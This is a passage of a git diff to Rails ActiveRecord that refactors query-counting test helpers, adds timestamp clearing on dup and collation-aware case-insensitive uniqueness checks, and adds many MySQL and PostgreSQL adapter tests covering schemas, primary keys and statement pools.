\ No newline at end of file diff --git a/activerecord/lib/active_record/test_case.rb b/activerecord/lib/active_record/test_case.rb index 0d47eb3338..ffe9b08dce 100644 --- a/activerecord/lib/active_record/test_case.rb +++ b/activerecord/lib/active_record/test_case.rb @@ -13,7 +13,7 @@ module ActiveRecord ActiveRecord::IdentityMap.clear end - # Backport skip to Ruby 1.8. test/unit doesn't support it, so just + # Backport skip to Ruby 1.8. test/unit doesn't support it, so just # make it a noop. unless instance_methods.map(&:to_s).include?("skip") def skip(message) @@ -31,27 +31,30 @@ module ActiveRecord end def assert_sql(*patterns_to_match) - $queries_executed = [] + ActiveRecord::SQLCounter.log = [] yield - $queries_executed + ActiveRecord::SQLCounter.log ensure failed_patterns = [] patterns_to_match.each do |pattern| - failed_patterns << pattern unless $queries_executed.any?{ |sql| pattern === sql } + failed_patterns << pattern unless ActiveRecord::SQLCounter.log.any?{ |sql| pattern === sql } end - assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{$queries_executed.size == 0 ? '' : "\nQueries:\n#{$queries_executed.join("\n")}"}" + assert failed_patterns.empty?, "Query pattern(s) #{failed_patterns.map{ |p| p.inspect }.join(', ')} not found.#{ActiveRecord::SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{ActiveRecord::SQLCounter.log.join("\n")}"}" end def assert_queries(num = 1) - $queries_executed = [] + ActiveRecord::SQLCounter.log = [] yield ensure - %w{ BEGIN COMMIT }.each { |x| $queries_executed.delete(x) } - assert_equal num, $queries_executed.size, "#{$queries_executed.size} instead of #{num} queries were executed.#{$queries_executed.size == 0 ? '' : "\nQueries:\n#{$queries_executed.join("\n")}"}" + assert_equal num, ActiveRecord::SQLCounter.log.size, "#{ActiveRecord::SQLCounter.log.size} instead of #{num} queries were executed.#{ActiveRecord::SQLCounter.log.size == 0 ? '' : "\nQueries:\n#{ActiveRecord::SQLCounter.log.join("\n")}"}" end def assert_no_queries(&block) + prev_ignored_sql = ActiveRecord::SQLCounter.ignored_sql + ActiveRecord::SQLCounter.ignored_sql = [] assert_queries(0, &block) + ensure + ActiveRecord::SQLCounter.ignored_sql = prev_ignored_sql end def with_kcode(kcode) diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb index 1511c71ffc..0c760e9850 100644 --- a/activerecord/lib/active_record/timestamp.rb +++ b/activerecord/lib/active_record/timestamp.rb @@ -33,10 +33,14 @@ module ActiveRecord extend ActiveSupport::Concern included do - class_attribute :record_timestamps, :instance_writer => false + class_attribute :record_timestamps self.record_timestamps = true end + def initialize_dup(other) + clear_timestamp_attributes + end + private def create #:nodoc: @@ -44,7 +48,9 @@ module ActiveRecord current_time = current_time_from_proper_timezone all_timestamp_attributes.each do |column| - write_attribute(column.to_s, current_time) if respond_to?(column) && self.send(column).nil? + if respond_to?(column) && respond_to?("#{column}=") && self.send(column).nil? + write_attribute(column.to_s, current_time) + end end end @@ -95,6 +101,13 @@ module ActiveRecord def current_time_from_proper_timezone #:nodoc: self.class.default_timezone == :utc ? Time.now.utc : Time.now end + + # Clear attributes and changed_attributes + def clear_timestamp_attributes + all_timestamp_attributes_in_model.each do |attribute_name| + self[attribute_name] = nil + changed_attributes.delete(attribute_name) + end + end end end - diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb index d363f36108..ae97a3f3ca 100644 --- a/activerecord/lib/active_record/transactions.rb +++ b/activerecord/lib/active_record/transactions.rb @@ -165,7 +165,7 @@ module ActiveRecord # writing, the only database that we're aware of that supports true nested # transactions, is MS-SQL. Because of this, Active Record emulates nested # transactions by using savepoints on MySQL and PostgreSQL. See - # http://dev.mysql.com/doc/refman/5.0/en/savepoints.html + # http://dev.mysql.com/doc/refman/5.0/en/savepoint.html # for more information about savepoints. # # === Callbacks diff --git a/activerecord/lib/active_record/validations.rb b/activerecord/lib/active_record/validations.rb index 59b6876135..4b075183c3 100644 --- a/activerecord/lib/active_record/validations.rb +++ b/activerecord/lib/active_record/validations.rb @@ -1,7 +1,7 @@ module ActiveRecord # = Active Record RecordInvalid # - # Raised by <tt>save!</tt> and <tt>create!</tt> when the record is invalid. Use the + # Raised by <tt>save!</tt> and <tt>create!</tt> when the record is invalid. Use the # +record+ method to retrieve the record which did not validate. # # begin diff --git a/activerecord/lib/active_record/validations/associated.rb b/activerecord/lib/active_record/validations/associated.rb index 3a783aeb00..7af0352a31 100644 --- a/activerecord/lib/active_record/validations/associated.rb +++ b/activerecord/lib/active_record/validations/associated.rb @@ -17,15 +17,7 @@ module ActiveRecord # validates_associated :pages, :library # end # - # Warning: If, after the above definition, you then wrote: - # - # class Page < ActiveRecord::Base - # belongs_to :book - # - # validates_associated :book - # end - # - # this would specify a circular dependency and cause infinite recursion. + # WARNING: This validation must not be used on both ends of an association. Doing so will lead to a circular dependency and cause infinite recursion. # # NOTE: This validation will not fail if the association hasn't been assigned. If you want to # ensure that the association is both present and guaranteed to be valid, you also need to @@ -37,10 +29,10 @@ module ActiveRecord # validation contexts by default (+nil+), other options are <tt>:create</tt> # and <tt>:update</tt>. # * <tt>:if</tt> - Specifies a method, proc or string to call to determine if the validation should - # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The + # occur (e.g. <tt>:if => :allow_validation</tt>, or <tt>:if => Proc.new { |user| user.signup_step > 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should - # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The + # not occur (e.g. <tt>:unless => :skip_validation</tt>, or <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The # method, proc or string should return or evaluate to a true or false value. def validates_associated(*attr_names) validates_with AssociatedValidator, _merge_attributes(attr_names) diff --git a/activerecord/lib/active_record/validations/uniqueness.rb b/activerecord/lib/active_record/validations/uniqueness.rb index 4db4105389..2e2ea8c42b 100644 --- a/activerecord/lib/active_record/validations/uniqueness.rb +++ b/activerecord/lib/active_record/validations/uniqueness.rb @@ -57,8 +57,8 @@ module ActiveRecord value = column.limit ? value.to_s.mb_chars[0, column.limit] : value.to_s if column.text? if !options[:case_sensitive] && value && column.text? - # will use SQL LOWER function before comparison - relation = table[attribute].lower.eq(table.lower(value)) + # will use SQL LOWER function before comparison, unless it detects a case insensitive collation + relation = klass.connection.case_insensitive_comparison(table, attribute, column, value) else value = klass.connection.case_sensitive_modifier(value) relation = table[attribute].eq(value) @@ -83,7 +83,7 @@ module ActiveRecord # validates_uniqueness_of :user_name, :scope => :account_id # end # - # Or even multiple scope parameters. For example, making sure that a teacher can only be on the schedule once + # Or even multiple scope parameters. For example, making sure that a teacher can only be on the schedule once # per semester for a particular class. # # class TeacherSchedule < ActiveRecord::Base @@ -105,7 +105,7 @@ module ActiveRecord # The method, proc or string should return or evaluate to a true or false value. # * <tt>:unless</tt> - Specifies a method, proc or string to call to determine if the validation should # not occur (e.g. <tt>:unless => :skip_validation</tt>, or - # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The method, proc or string should + # <tt>:unless => Proc.new { |user| user.signup_step <= 2 }</tt>). The method, proc or string should # return or evaluate to a true or false value. # # === Concurrency and integrity diff --git a/activerecord/lib/active_record/version.rb b/activerecord/lib/active_record/version.rb index 2c20dd997f..838aa8fb1e 100644 --- a/activerecord/lib/active_record/version.rb +++ b/activerecord/lib/active_record/version.rb @@ -1,9 +1,9 @@ module ActiveRecord module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end diff --git a/activerecord/lib/rails/generators/active_record/model/templates/migration.rb b/activerecord/lib/rails/generators/active_record/model/templates/migration.rb index 4f81a52fd0..851930344a 100644 --- a/activerecord/lib/rails/generators/active_record/model/templates/migration.rb +++ b/activerecord/lib/rails/generators/active_record/model/templates/migration.rb @@ -1,7 +1,7 @@ class <%= migration_class_name %> < ActiveRecord::Migration def change create_table :<%= table_name %> do |t| -<% for attribute in attributes -%> +<% attributes.each do |attribute| -%> t.<%= attribute.type %> :<%= attribute.name %> <% end -%> <% if options[:timestamps] %> diff --git a/activerecord/lib/rails/generators/active_record/session_migration/templates/migration.rb b/activerecord/lib/rails/generators/active_record/session_migration/templates/migration.rb index 8f0bf1ef0d..9ea3248513 100644 --- a/activerecord/lib/rails/generators/active_record/session_migration/templates/migration.rb +++ b/activerecord/lib/rails/generators/active_record/session_migration/templates/migration.rb @@ -1,5 +1,5 @@ class <%= migration_class_name %> < ActiveRecord::Migration - def up + def change create_table :<%= session_table_name %> do |t| t.string :session_id, :null => false t.text :data @@ -9,8 +9,4 @@ class <%= migration_class_name %> < ActiveRecord::Migration add_index :<%= session_table_name %>, :session_id add_index :<%= session_table_name %>, :updated_at end - - def down - drop_table :<%= session_table_name %> - end end diff --git a/activerecord/test/.gitignore b/activerecord/test/.gitignore new file mode 100644 index 0000000000..a0ec5967dd --- /dev/null +++ b/activerecord/test/.gitignore @@ -0,0 +1 @@ +/config.yml diff --git a/activerecord/test/cases/adapter_test.rb b/activerecord/test/cases/adapter_test.rb index 49b2e945c3..94497e37c7 100644 --- a/activerecord/test/cases/adapter_test.rb +++ b/activerecord/test/cases/adapter_test.rb @@ -43,7 +43,7 @@ class AdapterTest < ActiveRecord::TestCase def test_current_database if @connection.respond_to?(:current_database) - assert_equal ENV['ARUNIT_DB_NAME'] || "activerecord_unittest", @connection.current_database + assert_equal ARTest.connection_config['arunit']['database'], @connection.current_database end end @@ -68,7 +68,12 @@ class AdapterTest < ActiveRecord::TestCase begin assert_nothing_raised do ActiveRecord::Base.establish_connection(ActiveRecord::Base.configurations['arunit'].except(:database)) - ActiveRecord::Base.connection.execute "SELECT activerecord_unittest.pirates.*, activerecord_unittest2.courses.* FROM activerecord_unittest.pirates, activerecord_unittest2.courses" + + config = ARTest.connection_config + ActiveRecord::Base.connection.execute( + "SELECT #{config['arunit']['database']}.pirates.*, #{config['arunit2']['database']}.courses.* " \ + "FROM #{config['arunit']['database']}.pirates, #{config['arunit2']['database']}.courses" + ) end ensure ActiveRecord::Base.establish_connection 'arunit' @@ -76,12 +81,6 @@ class AdapterTest < ActiveRecord::TestCase end end - if current_adapter?(:PostgreSQLAdapter) - def test_encoding - assert_not_nil @connection.encoding - end - end - def test_table_alias def @connection.test_table_alias_length() 10; end class << @connection @@ -141,4 +140,31 @@ class AdapterTest < ActiveRecord::TestCase end end end + + def test_disable_referential_integrity + assert_nothing_raised do + @connection.disable_referential_integrity do + # Oracle adapter uses prefetched primary key values from sequence and passes them to connection adapter insert method + if @connection.prefetch_primary_key? + id_value = @connection.next_sequence_value(@connection.default_sequence_name("fk_test_has_fk", "id")) + @connection.execute "INSERT INTO fk_test_has_fk (id, fk_id) VALUES (#{id_value},0)" + else + @connection.execute "INSERT INTO fk_test_has_fk (fk_id) VALUES (0)" + end + # should deleted created record as otherwise disable_referential_integrity will try to enable contraints after executed block + # and will fail (at least on Oracle) + @connection.execute "DELETE FROM fk_test_has_fk" + end + end + end + + def test_deprecated_visitor_for + visitor_klass = Class.new(Arel::Visitors::ToSql) + Arel::Visitors::VISITORS['fuuu'] = visitor_klass + pool = stub(:spec => stub(:config => { :adapter => 'fuuu' })) + visitor = assert_deprecated { + ActiveRecord::ConnectionAdapters::AbstractAdapter.visitor_for(pool) + } + assert visitor.is_a?(visitor_klass) + end end diff --git a/activerecord/test/cases/adapters/firebird/migration_test.rb b/activerecord/test/cases/adapters/firebird/migration_test.rb index 710661b9bd..5c94593765 100644 --- a/activerecord/test/cases/adapters/firebird/migration_test.rb +++ b/activerecord/test/cases/adapters/firebird/migration_test.rb @@ -24,7 +24,7 @@ class FirebirdMigrationTest < ActiveRecord::TestCase assert !sequence_exists?('foo_seq') assert sequence_exists?('foo_custom_seq') - assert_nothing_raised { @connection.drop_table(:foo, :sequence => 'foo_custom_seq') } + assert_nothing_raised { @connection.drop_table(:foo) } assert !sequence_exists?('foo_custom_seq') ensure FireRuby::Generator.new('foo_custom_seq', @fireruby_connection).drop rescue nil diff --git a/activerecord/test/cases/adapters/mysql/active_schema_test.rb b/activerecord/test/cases/adapters/mysql/active_schema_test.rb index 509baacaef..94fc3564df 100644 --- a/activerecord/test/cases/adapters/mysql/active_schema_test.rb +++ b/activerecord/test/cases/adapters/mysql/active_schema_test.rb @@ -2,7 +2,7 @@ require "cases/helper" class ActiveSchemaTest < ActiveRecord::TestCase def setup - ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do + ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do alias_method :execute_without_stub, :execute remove_method :execute def execute(sql, name = nil) return sql end @@ -10,7 +10,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase end def teardown - ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do + ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do remove_method :execute alias_method :execute, :execute_without_stub end @@ -99,7 +99,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase private def with_real_execute #we need to actually modify some data, so we make execute point to the original method - ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do + ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do alias_method :execute_with_stub, :execute remove_method :execute alias_method :execute, :execute_without_stub @@ -107,7 +107,7 @@ class ActiveSchemaTest < ActiveRecord::TestCase yield ensure #before finishing, we restore the alias to the mock-up method - ActiveRecord::ConnectionAdapters::MysqlAdapter.class_eval do + ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter.class_eval do remove_method :execute alias_method :execute, :execute_with_stub end diff --git a/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb new file mode 100644 index 0000000000..97adb6b297 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql/case_sensitivity_test.rb @@ -0,0 +1,35 @@ +require "cases/helper" +require 'models/person' + +class MysqlCaseSensitivityTest < ActiveRecord::TestCase + class CollationTest < ActiveRecord::Base + validates_uniqueness_of :string_cs_column, :case_sensitive => false + validates_uniqueness_of :string_ci_column, :case_sensitive => false + end + + def test_columns_include_collation_different_from_table + assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation + assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation + end + + def test_case_sensitive + assert !CollationTest.columns_hash['string_ci_column'].case_sensitive? + assert CollationTest.columns_hash['string_cs_column'].case_sensitive? + end + + def test_case_insensitive_comparison_for_ci_column + CollationTest.create!(:string_ci_column => 'A') + invalid = CollationTest.new(:string_ci_column => 'a') + queries = assert_sql { invalid.save } + ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) } + assert_no_match(/lower/i, ci_uniqueness_query) + end + + def test_case_insensitive_comparison_for_cs_column + CollationTest.create!(:string_cs_column => 'A') + invalid = CollationTest.new(:string_cs_column => 'a') + queries = assert_sql { invalid.save } + cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/) } + assert_match(/lower/i, cs_uniqueness_query) + end +end diff --git a/activerecord/test/cases/adapters/mysql/connection_test.rb b/activerecord/test/cases/adapters/mysql/connection_test.rb index eee771ecff..2a89430da9 100644 --- a/activerecord/test/cases/adapters/mysql/connection_test.rb +++ b/activerecord/test/cases/adapters/mysql/connection_test.rb @@ -13,6 +13,16 @@ class MysqlConnectionTest < ActiveRecord::TestCase end end + def test_connect_with_url + run_without_connection do |orig| + ar_config = ARTest.connection_config['arunit'] + url = "mysql://#{ar_config["username"]}@localhost/#{ar_config["database"]}" + klass = Class.new(ActiveRecord::Base) + klass.establish_connection(url) + assert_equal ar_config['database'], klass.connection.current_database + end + end + def test_mysql_reconnect_attribute_after_connection_with_reconnect_false run_without_connection do |orig_connection| ActiveRecord::Base.establish_connection(orig_connection.merge({:reconnect => false})) diff --git a/activerecord/test/cases/adapters/mysql/quoting_test.rb b/activerecord/test/cases/adapters/mysql/quoting_test.rb index 9673e2bb46..3d1330efb8 100644 --- a/activerecord/test/cases/adapters/mysql/quoting_test.rb +++ b/activerecord/test/cases/adapters/mysql/quoting_test.rb @@ -23,4 +23,3 @@ module ActiveRecord end end end - diff --git a/activerecord/test/cases/adapters/mysql/statement_pool_test.rb b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb new file mode 100644 index 0000000000..83de90f179 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql/statement_pool_test.rb @@ -0,0 +1,23 @@ +require 'cases/helper' + +module ActiveRecord::ConnectionAdapters + class MysqlAdapter + class StatementPoolTest < ActiveRecord::TestCase + def test_cache_is_per_pid + return skip('must support fork') unless Process.respond_to?(:fork) + + cache = StatementPool.new nil, 10 + cache['foo'] = 'bar' + assert_equal 'bar', cache['foo'] + + pid = fork { + lookup = cache['foo']; + exit!(!lookup) + } + + Process.waitpid pid + assert $?.success?, 'process should exit successfully' + end + end + end +end diff --git a/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb new file mode 100644 index 0000000000..6bcc113482 --- /dev/null +++ b/activerecord/test/cases/adapters/mysql2/case_sensitivity_test.rb @@ -0,0 +1,35 @@ +require "cases/helper" +require 'models/person' + +class Mysql2CaseSensitivityTest < ActiveRecord::TestCase + class CollationTest < ActiveRecord::Base + validates_uniqueness_of :string_cs_column, :case_sensitive => false + validates_uniqueness_of :string_ci_column, :case_sensitive => false + end + + def test_columns_include_collation_different_from_table + assert_equal 'utf8_bin', CollationTest.columns_hash['string_cs_column'].collation + assert_equal 'utf8_general_ci', CollationTest.columns_hash['string_ci_column'].collation + end + + def test_case_sensitive + assert !CollationTest.columns_hash['string_ci_column'].case_sensitive? + assert CollationTest.columns_hash['string_cs_column'].case_sensitive? + end + + def test_case_insensitive_comparison_for_ci_column + CollationTest.create!(:string_ci_column => 'A') + invalid = CollationTest.new(:string_ci_column => 'a') + queries = assert_sql { invalid.save } + ci_uniqueness_query = queries.detect { |q| q.match(/string_ci_column/) } + assert_no_match(/lower/i, ci_uniqueness_query) + end + + def test_case_insensitive_comparison_for_cs_column + CollationTest.create!(:string_cs_column => 'A') + invalid = CollationTest.new(:string_cs_column => 'a') + queries = assert_sql { invalid.save } + cs_uniqueness_query = queries.detect { |q| q.match(/string_cs_column/)} + assert_match(/lower/i, cs_uniqueness_query) + end +end diff --git a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb index 752b864818..3a9744e78f 100644 --- a/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb +++ b/activerecord/test/cases/adapters/mysql2/reserved_word_test.rb @@ -87,8 +87,8 @@ class MysqlReservedWordTest < ActiveRecord::TestCase assert_nothing_raised { x.save } x.order = 'y' assert_nothing_raised { x.save } - assert_nothing_raised { y = Group.find_by_order('y') } - assert_nothing_raised { y = Group.find(1) } + assert_nothing_raised { Group.find_by_order('y') } + assert_nothing_raised { Group.find(1) } x = Group.find(1) end diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb new file mode 100644 index 0000000000..21b97b3b39 --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb @@ -0,0 +1,14 @@ +require "cases/helper" + +module ActiveRecord + class PostgresqlConnectionTest < ActiveRecord::TestCase + def setup + super + @connection = ActiveRecord::Base.connection + end + + def test_encoding + assert_not_nil @connection.encoding + end + end +end diff --git a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb index 7c49236854..d57794daf8 100644 --- a/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb +++ b/activerecord/test/cases/adapters/postgresql/postgresql_adapter_test.rb @@ -10,6 +10,45 @@ module ActiveRecord @connection.exec_query('create table ex(id serial primary key, number integer, data character varying(255))') end + def test_primary_key + assert_equal 'id', @connection.primary_key('ex') + end + + def test_non_standard_primary_key + @connection.exec_query('drop table if exists ex') + @connection.exec_query('create table ex(data character varying(255) primary key)') + assert_equal 'data', @connection.primary_key('ex') + end + + def test_primary_key_returns_nil_for_no_pk + @connection.exec_query('drop table if exists ex') + @connection.exec_query('create table ex(id integer)') + assert_nil @connection.primary_key('ex') + end + + def test_primary_key_raises_error_if_table_not_found + assert_raises(ActiveRecord::StatementInvalid) do + @connection.primary_key('unobtainium') + end + end + + def test_insert_sql_with_proprietary_returning_clause + id = @connection.insert_sql("insert into ex (number) values(5150)", nil, "number") + assert_equal "5150", id + end + + def test_insert_sql_with_quoted_schema_and_table_name + id = @connection.insert_sql('insert into "public"."ex" (number) values(5150)') + expect = @connection.query('select max(id) from ex').first.first + assert_equal expect, id + end + + def test_insert_sql_with_no_space_after_table_name + id = @connection.insert_sql("insert into ex(number) values(5150)") + expect = @connection.query('select max(id) from ex').first.first + assert_equal expect, id + end + def test_serial_sequence assert_equal 'public.accounts_id_seq', @connection.serial_sequence('accounts', 'id') @@ -35,6 +74,36 @@ module ActiveRecord @connection.default_sequence_name('zomg') end + def test_pk_and_sequence_for + pk, seq = @connection.pk_and_sequence_for('ex') + assert_equal 'id', pk + assert_equal @connection.default_sequence_name('ex', 'id'), seq + end + + def test_pk_and_sequence_for_with_non_standard_primary_key + @connection.exec_query('drop table if exists ex') + @connection.exec_query('create table ex(code serial primary key)') + pk, seq = @connection.pk_and_sequence_for('ex') + assert_equal 'code', pk + assert_equal @connection.default_sequence_name('ex', 'code'), seq + end + + def test_pk_and_sequence_for_returns_nil_if_no_seq + @connection.exec_query('drop table if exists ex') + @connection.exec_query('create table ex(id integer primary key)') + assert_nil @connection.pk_and_sequence_for('ex') + end + + def test_pk_and_sequence_for_returns_nil_if_no_pk + @connection.exec_query('drop table if exists ex') + @connection.exec_query('create table ex(id integer)') + assert_nil @connection.pk_and_sequence_for('ex') + end + + def test_pk_and_sequence_for_returns_nil_if_table_not_found + assert_nil @connection.pk_and_sequence_for('unobtainium') + end + def test_exec_insert_number insert(@connection, 'number' => 10) diff --git a/activerecord/test/cases/adapters/postgresql/schema_test.rb b/activerecord/test/cases/adapters/postgresql/schema_test.rb index a5c3e69af9..c8f8714f66 100644 --- a/activerecord/test/cases/adapters/postgresql/schema_test.rb +++ b/activerecord/test/cases/adapters/postgresql/schema_test.rb @@ -20,6 +20,7 @@ class SchemaTest < ActiveRecord::TestCase 'email character varying(50)', 'moment timestamp without time zone default now()' ] + PK_TABLE_NAME = 'table_with_pk' class Thing1 < ActiveRecord::Base set_table_name "test_schema.things" @@ -37,6 +38,10 @@ class SchemaTest < ActiveRecord::TestCase set_table_name 'test_schema."Things"' end + class Thing5 < ActiveRecord::Base + set_table_name 'things' + end + def setup @connection = ActiveRecord::Base.connection @connection.execute "CREATE SCHEMA #{SCHEMA_NAME} CREATE TABLE #{TABLE_NAME} (#{COLUMNS.join(',')})" @@ -49,6 +54,7 @@ class SchemaTest < ActiveRecord::TestCase @connection.execute "CREATE INDEX #{INDEX_B_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING btree (#{INDEX_B_COLUMN_S2});" @connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA_NAME}.#{TABLE_NAME} USING gin (#{INDEX_C_COLUMN});" @connection.execute "CREATE INDEX #{INDEX_C_NAME} ON #{SCHEMA2_NAME}.#{TABLE_NAME} USING gin (#{INDEX_C_COLUMN});" + @connection.execute "CREATE TABLE #{SCHEMA_NAME}.#{PK_TABLE_NAME} (id serial primary key)" end def teardown @@ -56,6 +62,14 @@ class SchemaTest < ActiveRecord::TestCase @connection.execute "DROP SCHEMA #{SCHEMA_NAME} CASCADE" end + def test_schema_change_with_prepared_stmt + @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]] + @connection.exec_query "alter table developers add column zomg int", 'sql', [] + @connection.exec_query "select * from developers where id = $1", 'sql', [[nil, 1]] + ensure + @connection.exec_query "alter table developers drop column if exists zomg", 'sql', [] + end + def test_table_exists? [Thing1, Thing2, Thing3, Thing4].each do |klass| name = klass.table_name @@ -63,12 +77,36 @@ class SchemaTest < ActiveRecord::TestCase end end + def test_table_exists_when_on_schema_search_path + with_schema_search_path(SCHEMA_NAME) do + assert(@connection.table_exists?(TABLE_NAME), "table should exist and be found") + end + end + + def test_table_exists_when_not_on_schema_search_path + with_schema_search_path('PUBLIC') do + assert(!@connection.table_exists?(TABLE_NAME), "table exists but should not be found") + end + end + def test_table_exists_wrong_schema assert(!@connection.table_exists?("foo.things"), "table should not exist") end + def test_table_exists_quoted_names + [ %("#{SCHEMA_NAME}"."#{TABLE_NAME}"), %(#{SCHEMA_NAME}."#{TABLE_NAME}"), %(#{SCHEMA_NAME}."#{TABLE_NAME}")].each do |given| + assert(@connection.table_exists?(given), "table should exist when specified as #{given}") + end + with_schema_search_path(SCHEMA_NAME) do + given = %("#{TABLE_NAME}") + assert(@connection.table_exists?(given), "table should exist when specified as #{given}") + end + end + def test_table_exists_quoted_table - assert(@connection.table_exists?('"things.table"'), "table should exist") + with_schema_search_path(SCHEMA_NAME) do + assert(@connection.table_exists?('"things.table"'), "table should exist") + end end def test_with_schema_prefixed_table_name @@ -91,7 +129,6 @@ class SchemaTest < ActiveRecord::TestCase end end - def test_proper_encoding_of_table_name assert_equal '"table_name"', @connection.quote_table_name('table_name') assert_equal '"table.name"', @connection.quote_table_name('"table.name"') @@ -164,6 +201,79 @@ class SchemaTest < ActiveRecord::TestCase ActiveRecord::Base.connection.schema_search_path = "public" end + def test_primary_key_with_schema_specified + [ + %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"), + %(#{SCHEMA_NAME}."#{PK_TABLE_NAME}"), + %(#{SCHEMA_NAME}.#{PK_TABLE_NAME}) + ].each do |given| + assert_equal 'id', @connection.primary_key(given), "primary key should be found when table referenced as #{given}" + end + end + + def test_primary_key_assuming_schema_search_path + with_schema_search_path(SCHEMA_NAME) do + assert_equal 'id', @connection.primary_key(PK_TABLE_NAME), "primary key should be found" + end + end + + def test_primary_key_raises_error_if_table_not_found_on_schema_search_path + with_schema_search_path(SCHEMA2_NAME) do + assert_raises(ActiveRecord::StatementInvalid) do + @connection.primary_key(PK_TABLE_NAME) + end + end + end + + def test_pk_and_sequence_for_with_schema_specified + [ + %("#{SCHEMA_NAME}"."#{PK_TABLE_NAME}"), + %(#{SCHEMA_NAME}."#{PK_TABLE_NAME}"), + %(#{SCHEMA_NAME}.#{PK_TABLE_NAME}) + ].each do |given| + pk, seq = @connection.pk_and_sequence_for(given) + assert_equal 'id', pk, "primary key should be found when table referenced as #{given}" + assert_equal "#{SCHEMA_NAME}.#{PK_TABLE_NAME}_id_seq", seq, "sequence name should be found when table referenced as #{given}" + end + end + + def test_current_schema + { + %('$user',public) => 'public', + SCHEMA_NAME => SCHEMA_NAME, + %(#{SCHEMA2_NAME},#{SCHEMA_NAME},public) => SCHEMA2_NAME, + %(public,#{SCHEMA2_NAME},#{SCHEMA_NAME}) => 'public' + }.each do |given,expect| + with_schema_search_path(given) { assert_equal expect, @connection.current_schema } + end + end + + def test_prepared_statements_with_multiple_schemas + + @connection.schema_search_path = SCHEMA_NAME + Thing5.create(:id => 1, :name => "thing inside #{SCHEMA_NAME}", :email => "thing1@localhost", :moment => Time.now) + + @connection.schema_search_path = SCHEMA2_NAME + Thing5.create(:id => 1, :name => "thing inside #{SCHEMA2_NAME}", :email => "thing1@localhost", :moment => Time.now) + + @connection.schema_search_path = SCHEMA_NAME + assert_equal 1, Thing5.count + + @connection.schema_search_path = SCHEMA2_NAME + assert_equal 1, Thing5.count + end + + def test_schema_exists? + { + 'public' => true, + SCHEMA_NAME => true, + SCHEMA2_NAME => true, + 'darkside' => false + }.each do |given,expect| + assert_equal expect, @connection.schema_exists?(given) + end + end + private def columns(table_name) @connection.send(:column_definitions, table_name).map do |name, type, default| diff --git a/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb new file mode 100644 index 0000000000..f1c4b85126 --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/statement_pool_test.rb @@ -0,0 +1,39 @@ +require 'cases/helper' + +module ActiveRecord::ConnectionAdapters + class PostgreSQLAdapter < AbstractAdapter + class InactivePGconn + def query(*args) + raise PGError + end + + def status + PGconn::CONNECTION_BAD + end + end + + class StatementPoolTest < ActiveRecord::TestCase + def test_cache_is_per_pid + return skip('must support fork') unless Process.respond_to?(:fork) + + cache = StatementPool.new nil, 10 + cache['foo'] = 'bar' + assert_equal 'bar', cache['foo'] + + pid = fork { + lookup = cache['foo']; + exit!(!lookup) + } + + Process.waitpid pid + assert $?.success?, 'process should exit successfully' + end + + def test_dealloc_does_not_raise_on_inactive_connection + cache = StatementPool.new InactivePGconn.new, 10 + cache['foo'] = 'bar' + assert_nothing_raised { cache.clear } + end + end + end +end diff --git a/activerecord/test/cases/adapters/postgresql/timestamp_test.rb b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb new file mode 100644 index 0000000000..337f43c421 --- /dev/null +++ b/activerecord/test/cases/adapters/postgresql/timestamp_test.rb @@ -0,0 +1,30 @@ +require 'cases/helper' +require 'models/developer' + +class TimestampTest < ActiveRecord::TestCase + def test_load_infinity_and_beyond + unless current_adapter?(:PostgreSQLAdapter) + return skip("only tested on postgresql") + end + + d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at") + assert d.first.updated_at.infinite?, 'timestamp should be infinite' + + d = 